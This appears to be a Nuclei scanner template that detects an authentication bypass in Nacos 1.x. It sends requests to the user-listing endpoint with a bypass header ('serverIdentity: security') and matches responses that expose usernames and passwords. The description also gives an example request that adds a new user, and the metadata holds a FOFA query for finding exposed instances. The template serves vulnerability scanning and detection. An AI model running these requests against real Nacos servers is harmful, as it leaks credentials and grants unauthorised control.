id: nacos-auth-bypass

info:
  name: Nacos 1.x - Authentication Bypass
  author: taielab,pikpikcu,SleepingBag945
  severity: critical
  description: |
    Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data.
  reference:
    - https://github.com/alibaba/nacos/issues/4593
    - https://nacos.io/en-us/docs/auth.html
    - https://zhuanlan.zhihu.com/p/602021283
  classification:
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alibaba
    product: nacos
    fofa-query: app="NACOS"
  tags: nacos,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"

    headers:
      serverIdentity: security
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"totalCount":'
          - '"username":'
          - '"password":'
          - '"pagesAvailable":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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